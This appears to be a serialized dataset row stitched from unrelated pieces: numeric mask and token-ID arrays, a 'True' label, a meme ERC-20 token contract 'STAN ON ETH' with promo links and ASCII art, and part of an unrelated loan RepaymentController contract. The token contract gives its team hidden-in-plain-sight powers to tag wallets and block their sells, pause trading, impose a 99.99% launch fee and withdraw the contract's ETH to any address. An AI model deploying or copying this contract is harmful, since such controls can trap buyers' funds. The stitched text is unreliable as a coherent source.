1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
/*
STAN ON ETH $STAN
Telegram: https://t.me/stanoneth
Official Website:
http://Stanoneth.space
Official Twitter:
https://twitter.com/Stan_OnEth
ETH PRINTER GO BRRRRRRRRRRRRRRRRRRRRRR
all the ass kissers
kissing devs ass 24/7 for early ca
airdrop
we made a token for you
```````.`.```.```
``.-://++/////++oooooooooo++///:..`
`.-ooo+/:-..............:.....---://+++/-.`
``-/ooo/-.........-...---...--.-..--.-------/o+-`
`.oyo/-.......--------:--------------:-----:----:s+`
`-os/-.......----::-----::/++oo+/:-----------------/+s.
`sy:.......----:--:+osoo+++:-...-+ho:o:--/-/:::-:/-oomh:
`hs-......----//syys/-............-sdhddohh:ysyoyhsdhyos.
.so--.....---/syo/-........::----..../+-/o-os/oss/--:-..-s`
.yy---..--:--+d+.......:/+++//++oso++-...................sso/`
:h:---------od+......-syo++//:----/+o..............-.....:++y:
/s--------:sd+.......-:---...................:.....o-.....:oyd+`
oy-------/hy:.......-ymhoooo////::-.........-o.....:o....+ms:dNs`
`/ohhsoosyyy+..........:dm:./d+:+sdNm/........+/....../o...yN-/mhNo
`/o.-+o+//:-.............:hd+odo``.mMN/........s-.......y-..sNy:::hh
`/+........................-smmhs++hNd+........o:......../o..-ohdhyds
`+/........................-+:/+osssso/.-.......y-.........y.../+/::o-
`+/..........................-/++oo+++/:-.....-:./o/--:////os....-/:os`
`+/..............................-------............:/::-.....-:.....s.
/+..................................................................s-
-o..................................................................s-
`/+...................................................-oooosyyo+-....s/
`+/..........................................................----...-s+`
`-+-..............................................................:/+//.
-//.........................................................--:/+o/:.`
`-o+-................................................-::::://+///:-.`
`-o+:...........................................-:::///+/:-...``
`/++oh-.......................................--:oo/::-``
:yo.-++o-....................................:oo/:-`
`./hs::-s+s+..................................:+o:`
``/o+::y-o-o/++o.................................s/`
/+/:-..-y`o.o-:.y:.............................../y+/+//:`
-......-s...-+``:o..............................:s.-+..`-o/
.......-o-+-`s```o:............................-s:.+:+:.oos`
.......-o-:+ o-``-s-..........................-s/-os:s.:s-/h:
.......-o-.+`-+``.-s-........................-o/:o++//+y+.-:h/`
........+:`` o:``./o-.......................++/+-++/-sy/...-+o/-`
........+/`` .s```.:s:....................-/o:o``.--o:s-.....-:/o+`
........+o`` `+-`.:::o/:-...............--++-s.``:`-:++-........-++`
........+o`` ...o.`:::--/+o/-----------::/+/-o-`-+: ``s:-..........++`
........+o```:+`.//....```-++++/++++++/:--.-+-`/+/: `-y-....:..-..-.+/
......-:s:``` //-`-//-`````.-------------://. `/+-.:--s-..........-..+:
.....:oo:.``` `::. `://:..-::::--------.` `-+-`-+:.-s...............+:
...:ss:...``` `-:..--::::-` .+:` -+```.s:......-..-.....s.
..:sy-...```` `/ `---. ``.-::/- -+` `--``.:o...........-...:o
..y-y-....``` `s` --` `-:-.` :o``/-`--.``.-yo......-........o.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract STANONETH is IERC20, Ownable {
using Address for address;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "STAN ON ETH";
string constant _symbol = "STAN";
uint8 constant _decimals = 9;
uint256 _totalSupply = 1_000_000_000 * (10 ** _decimals);
uint256 _maxBuyTxAmount = (_totalSupply * 1) / 2000;
uint256 _maxSellTxAmount = (_totalSupply * 1) / 500;
uint256 _maxWalletSize = (_totalSupply * 2) / 100;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => uint256) public lastSell;
mapping (address => uint256) public lastBuy;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) liquidityCreator;
uint256 marketingFee = 800;
uint256 liquidityFee = 200;
uint256 totalFee = marketingFee + liquidityFee;
uint256 sellBias = 0;
uint256 feeDenominator = 10000;
address payable public liquidityFeeReceiver = payable(0xa11a35B6b558eD1361D453a4f8dD0B2687d90d43);
address payable public marketingFeeReceiver = payable(0xa11a35B6b558eD1361D453a4f8dD0B2687d90d43);
IDEXRouter public router;
address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
mapping (address => bool) liquidityPools;
mapping (address => uint256) public protected;
bool protectionEnabled = true;
bool protectionDisabled = false;
uint256 protectionLimit;
uint256 public protectionCount;
uint256 protectionTimer;
address public pair;
uint256 public launchedAt;
uint256 public launchedTime;
uint256 public deadBlocks;
bool startBullRun = false;
bool pauseDisabled = false;
uint256 public rateLimit = 2;
bool public swapEnabled = false;
bool processEnabled = true;
uint256 public swapThreshold = _totalSupply / 1000;
uint256 public swapMinimum = _totalSupply / 10000;
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
mapping (address => bool) teamMember;
modifier onlyTeam() {
require(teamMember[_msgSender()] || msg.sender == owner(), "Caller is not a team member");
_;
}
event ProtectedWallet(address, address, uint256, uint8);
constructor () {
router = IDEXRouter(routerAddress);
pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this));
liquidityPools[pair] = true;
_allowances[owner()][routerAddress] = type(uint256).max;
_allowances[address(this)][routerAddress] = type(uint256).max;
isFeeExempt[owner()] = true;
liquidityCreator[owner()] = true;
isTxLimitExempt[address(this)] = true;
isTxLimitExempt[owner()] = true;
isTxLimitExempt[routerAddress] = true;
isTxLimitExempt[DEAD] = true;
_balances[owner()] = _totalSupply;
emit Transfer(address(0xd0412FdB6fdFb6237d7BD5DB61aBA0a2897295d4), owner(), _totalSupply);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure returns (uint8) { return _decimals; }
function symbol() external pure returns (string memory) { return _symbol; }
function name() external pure returns (string memory) { return _name; }
function getOwner() external view returns (address) { return owner(); }
function maxBuyTxTokens() external view returns (uint256) { return _maxBuyTxAmount / (10 ** _decimals); }
function maxSellTxTokens() external view returns (uint256) { return _maxSellTxAmount / (10 ** _decimals); }
function maxWalletTokens() external view returns (uint256) { return _maxWalletSize / (10 ** _decimals); }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}
function setTeamMember(address _team, bool _enabled) external onlyOwner {
teamMember[_team] = _enabled;
}
function airdrop(address[] calldata addresses, uint256[] calldata amounts) external onlyOwner {
require(addresses.length > 0 && amounts.length == addresses.length);
address from = msg.sender;
for (uint i = 0; i < addresses.length; i++) {
if(!liquidityPools[addresses[i]] && !liquidityCreator[addresses[i]]) {
_basicTransfer(from, addresses[i], amounts[i] * (10 ** _decimals));
}
}
}
function clearStuckBalance(uint256 amountPercentage, address adr) external onlyTeam {
uint256 amountETH = address(this).balance;
payable(adr).transfer((amountETH * amountPercentage) / 100);
}
function openTrading(uint256 _deadBlocks, uint256 _protection, uint256 _limit) external onlyTeam {
require(!startBullRun && _deadBlocks < 10);
deadBlocks = _deadBlocks;
startBullRun = true;
launchedAt = block.number;
protectionTimer = block.timestamp + _protection;
protectionLimit = _limit * (10 ** _decimals);
}
function pauseTrading() external onlyTeam {
require(!pauseDisabled);
startBullRun = false;
}
function disablePause() external onlyTeam {
pauseDisabled = true;
startBullRun = true;
}
function setProtection(bool _protect, uint256 _addTime) external onlyTeam {
require(!protectionDisabled);
protectionEnabled = _protect;
require(_addTime < 1 days);
protectionTimer += _addTime;
}
function disableProtection() external onlyTeam {
protectionDisabled = true;
protectionEnabled = false;
}
function protectWallet(address[] calldata _wallets, bool _protect) external onlyTeam {
if (_protect) {
require(protectionEnabled);
}
for (uint i = 0; i < _wallets.length; i++) {
if (_protect) {
protectionCount++;
emit ProtectedWallet(tx.origin, _wallets[i], block.number, 2);
}
else {
if (protected[_wallets[i]] != 0)
protectionCount--;
}
protected[_wallets[i]] = _protect ? block.number : 0;
}
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(sender != address(0), "BEP20: transfer from 0x0");
require(recipient != address(0), "BEP20: transfer to 0x0");
require(amount > 0, "Amount must be > zero");
require(_balances[sender] >= amount, "Insufficient balance");
if(!launched() && liquidityPools[recipient]){ require(liquidityCreator[sender], "Liquidity not added yet."); launch(); }
if(!startBullRun){ require(liquidityCreator[sender] || liquidityCreator[recipient], "Trading not open yet."); }
checkTxLimit(sender, recipient, amount);
if (!liquidityPools[recipient] && recipient != DEAD) {
if (!isTxLimitExempt[recipient]) {
checkWalletLimit(recipient, amount);
}
}
if(protectionEnabled && protectionTimer > block.timestamp) {
if(liquidityPools[sender] && tx.origin != recipient && protected[recipient] == 0) {
protected[recipient] = block.number;
protectionCount++;
emit ProtectedWallet(tx.origin, recipient, block.number, 0);
}
}
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
_balances[sender] = _balances[sender] - amount;
uint256 amountReceived = shouldTakeFee(sender) ? takeFee(recipient, amount) : amount;
if(shouldSwapBack(recipient)){ if (amount > 0) swapBack(amount); }
_balances[recipient] = _balances[recipient] + amountReceived;
emit Transfer(sender, recipient, amountReceived);
return true;
}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() internal {
launchedAt = block.number;
launchedTime = block.timestamp;
swapEnabled = true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender] - amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(sender, recipient, amount);
return true;
}
function checkWalletLimit(address recipient, uint256 amount) internal view {
uint256 walletLimit = _maxWalletSize;
require(_balances[recipient] + amount <= walletLimit, "Transfer amount exceeds the bag size.");
}
function checkTxLimit(address sender, address recipient, uint256 amount) internal {
require(isTxLimitExempt[sender] || amount <= (liquidityPools[sender] ? _maxBuyTxAmount : _maxSellTxAmount), "TX Limit Exceeded");
require(isTxLimitExempt[sender] || lastBuy[recipient] + rateLimit <= block.number, "Transfer rate limit exceeded.");
if (protected[sender] != 0){
require(amount <= protectionLimit * (10 ** _decimals) && lastSell[sender] == 0 && protectionTimer > block.timestamp, "Wallet protected, please contact support.");
lastSell[sender] = block.number;
}
if (liquidityPools[recipient]) {
lastSell[sender] = block.number;
} else if (shouldTakeFee(sender)) {
if (protectionEnabled && protectionTimer > block.timestamp && lastBuy[tx.origin] == block.number && protected[recipient] == 0) {
protected[recipient] = block.number;
emit ProtectedWallet(tx.origin, recipient, block.number, 1);
}
lastBuy[recipient] = block.number;
if (tx.origin != recipient)
lastBuy[tx.origin] = block.number;
}
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function getTotalFee(bool selling) public view returns (uint256) {
if(launchedAt + deadBlocks >= block.number){ return feeDenominator - 1; }
if (selling) return totalFee + sellBias;
return totalFee - sellBias;
}
function takeFee(address recipient, uint256 amount) internal returns (uint256) {
bool selling = liquidityPools[recipient];
uint256 feeAmount = (amount * getTotalFee(selling)) / feeDenominator;
_balances[address(this)] += feeAmount;
return amount - feeAmount;
}
function shouldSwapBack(address recipient) internal view returns (bool) {
return !liquidityPools[msg.sender]
&& !inSwap
&& swapEnabled
&& liquidityPools[recipient]
&& _balances[address(this)] >= swapMinimum;
}
function swapBack(uint256 amount) internal swapping {
uint256 amountToSwap = amount < swapThreshold ? amount : swapThreshold;
if (_balances[address(this)] < amountToSwap) amountToSwap = _balances[address(this)];
uint256 amountToLiquify = (amountToSwap * liquidityFee / 2) / totalFee;
amountToSwap -= amountToLiquify;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountBNB = address(this).balance - balanceBefore;
uint256 totalBNBFee = totalFee - (liquidityFee / 2);
uint256 amountBNBLiquidity = (amountBNB * liquidityFee / 2) / totalBNBFee;
uint256 amountBNBMarketing = amountBNB - amountBNBLiquidity;
if (amountBNBMarketing > 0)
marketingFeeReceiver.transfer(amountBNBMarketing);
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountBNBLiquidity}(
address(this),
amountToLiquify,
0,
0,
liquidityFeeReceiver,
block.timestamp
);
}
emit FundsDistributed(amountBNBMarketing, amountBNBLiquidity, amountToLiquify);
}
function addLiquidityPool(address lp, bool isPool) external onlyOwner {
require(lp != pair, "Can't alter current liquidity pair");
liquidityPools[lp] = isPool;
}
function setRateLimit(uint256 rate) external onlyOwner {
require(rate <= 60 seconds);
rateLimit = rate;
}
function setTxLimit(uint256 buyNumerator, uint256 sellNumerator, uint256 divisor) external onlyOwner {
require(buyNumerator > 0 && sellNumerator > 0 && divisor > 0 && divisor <= 10000);
_maxBuyTxAmount = (_totalSupply * buyNumerator) / divisor;
_maxSellTxAmount = (_totalSupply * sellNumerator) / divisor;
}
function setMaxWallet(uint256 numerator, uint256 divisor) external onlyOwner() {
require(numerator > 0 && divisor > 0 && divisor <= 10000);
_maxWalletSize = (_totalSupply * numerator) / divisor;
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
isTxLimitExempt[holder] = exempt;
}
function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _sellBias, uint256 _feeDenominator) external onlyOwner {
liquidityFee = _liquidityFee;
marketingFee = _marketingFee;
totalFee = _marketingFee + _liquidityFee;
sellBias = _sellBias;
feeDenominator = _feeDenominator;
require(totalFee < feeDenominator / 2);
}
function setFeeReceivers(address _liquidityFeeReceiver, address _marketingFeeReceiver) external onlyOwner {
liquidityFeeReceiver = payable(_liquidityFeeReceiver);
marketingFeeReceiver = payable(_marketingFeeReceiver);
}
function setSwapBackSettings(bool _enabled, bool _processEnabled, uint256 _denominator, uint256 _swapMinimum) external onlyOwner {
require(_denominator > 0);
swapEnabled = _enabled;
processEnabled = _processEnabled;
swapThreshold = _totalSupply / _denominator;
swapMinimum = _swapMinimum * (10 ** _decimals);
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply - (balanceOf(DEAD) + balanceOf(ZERO));
}
event FundsDistributed(uint256 marketingBNB, uint256 liquidityBNB, uint256 liquidityTokens);
} | True | [
101,
1013,
1008,
9761,
2006,
3802,
2232,
1002,
9761,
23921,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
9761,
5643,
2705,
2880,
4037,
1024,
8299,
1024,
1013,
1013,
9761,
5643,
2705,
1012,
2686,
2880,
10474,
1024,
16770,
1024,
1013,
1013,
10474,
1012,
4012,
1013,
9761,
1035,
2028,
2705,
3802,
2232,
15041,
2175,
7987,
12171,
12171,
12171,
12171,
12171,
12171,
12171,
12171,
12171,
12171,
2099,
2035,
1996,
4632,
3610,
2545,
7618,
16475,
2015,
4632,
2484,
1013,
1021,
2005,
2220,
6187,
2250,
25711,
2057,
2081,
1037,
19204,
2005,
2017,
1036,
1036,
1036,
1036,
1036,
1036,
1036,
1012,
1036,
1012,
1036,
1036,
1036,
1012,
1036,
1036,
1036,
1036,
1036,
1012,
1011,
1024,
1013,
1013,
1009,
1009,
1013,
1013,
1013,
1013,
1013,
1009,
1009,
1051,
9541,
9541,
9541,
9541,
2080,
1009,
1009,
1013,
1013,
1013,
1024,
1012,
1012,
1036,
1036,
1012,
1011,
1051,
9541,
1009,
1013,
1024,
1011,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1024,
1012,
1012,
1012,
1012,
1012,
1011,
1011,
1011,
1024,
1013,
1013,
1009,
1009,
1009,
1013,
1011,
1012,
1036,
1036,
1036,
1011,
1013,
1051,
9541,
1013,
1011,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1011,
1012,
1012,
1012,
1011,
1011,
1011,
1012,
1012,
1012,
1011,
1011,
1012,
1011,
1012,
1012,
1011,
1011,
1012,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1051,
1009,
1011,
1036,
1036,
1012,
1051,
7677,
1013,
1011,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1024,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1024,
1011,
1011,
1011,
1011,
1011,
1024,
1011,
1011,
1011,
1011,
1024,
1055,
1009,
1036,
1036,
1011,
9808,
1013,
1011,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1011,
1011,
1011,
1011,
1024,
1024,
1011,
1011,
1011,
1011,
1011,
1024,
1024,
1013,
1009,
1009,
1051,
2080,
1009,
1013,
1024,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1009,
1055,
1012,
1036,
25353,
1024,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1011,
1011,
1011,
1011,
1024,
1011,
1011,
1024,
1009,
9808,
9541,
1009,
1009,
1009,
1024,
1011,
1012,
1012,
1012,
1011,
1009,
7570,
1024,
1051,
1024,
1011,
1011,
1013,
1011,
1013,
1024,
1024,
1024,
1011,
1024,
1013,
1011,
1051,
5358,
2232,
1024,
1036,
26236,
1011,
1012,
1012,
1012,
1012,
1012,
1012,
1011,
1011,
1011,
1011,
1013,
1013,
25353,
7274,
1013,
1011,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1011,
17371,
14945,
3527,
23644,
1024,
1061,
6508,
6977,
7898,
16425,
7677,
2015,
1012,
1012,
2061,
1011,
1011,
1012,
1012,
1012,
1012,
1012,
1011,
1011,
1011,
1013,
25353,
2080,
1013,
1011,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1024,
1024,
1011,
1011,
1011,
1011,
1012,
1012,
1012,
1012,
1013,
1009,
1011,
1013,
1051,
1011,
9808,
1013,
9808,
2015,
1013,
1011,
1011,
1024,
1011,
1012,
1012,
1011,
1055,
1036,
1012,
1061,
2100,
1011,
1011,
1011,
1012,
1012,
1011,
1011,
1024,
1011,
1011,
1009,
1040,
1009,
1012,
1012,
1012,
1012,
1012,
1012,
1012,
1024,
1013,
1009,
1009,
1009,
1013,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./libraries/LoanLibrary.sol";
import "./interfaces/IPromissoryNote.sol";
import "./interfaces/ILoanCore.sol";
import "./interfaces/IRepaymentController.sol";
contract RepaymentController is IRepaymentController {
using SafeMath for uint256;
ILoanCore private loanCore;
IPromissoryNote private borrowerNote;
IPromissoryNote private lenderNote;
constructor(
ILoanCore _loanCore,
IPromissoryNote _borrowerNote,
IPromissoryNote _lenderNote
) {
loanCore = _loanCore;
borrowerNote = _borrowerNote;
lenderNote = _lenderNote;
}
/**
* @inheritdoc IRepaymentController
*/
function repay(uint256 borrowerNoteId) external override {
// get loan from borrower note
uint256 loanId = borrowerNote.loanIdByNoteId(borrowerNoteId);
require(loanId != 0, "RepaymentController: repay could not dereference loan");
LoanLibrary.LoanTerms memory terms = loanCore.getLoan(loanId).terms;
// withdraw principal plus interest from borrower and send to loan core
SafeERC20.safeTransferFrom(
IERC20(terms.payableCurrency),
msg.sender,
address(this),
terms.principal.add(terms.interest)
);
IERC20(terms.payableCurrency).approve(address(loanCore), terms.principal.add(terms.interest));
// call repay function in loan core
loanCore.repay(loanId);
}
/**
* @inheritdoc IRepaymentController
*/
function claim(uint256 lenderNoteId) external override {
// make sure that caller owns lender note
address lender = lenderNote.ownerOf(lenderNoteId);
require(lender == msg.sender, "RepaymentController: not owner of lender note");
// get loan from lender note
uint256 loanId = lenderNote.loanIdByNoteId(lenderNoteId);
require(loanId != 0, "RepaymentController: claim could not dereference loan");
// call claim function in loan core
loanCore.claim(loanId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
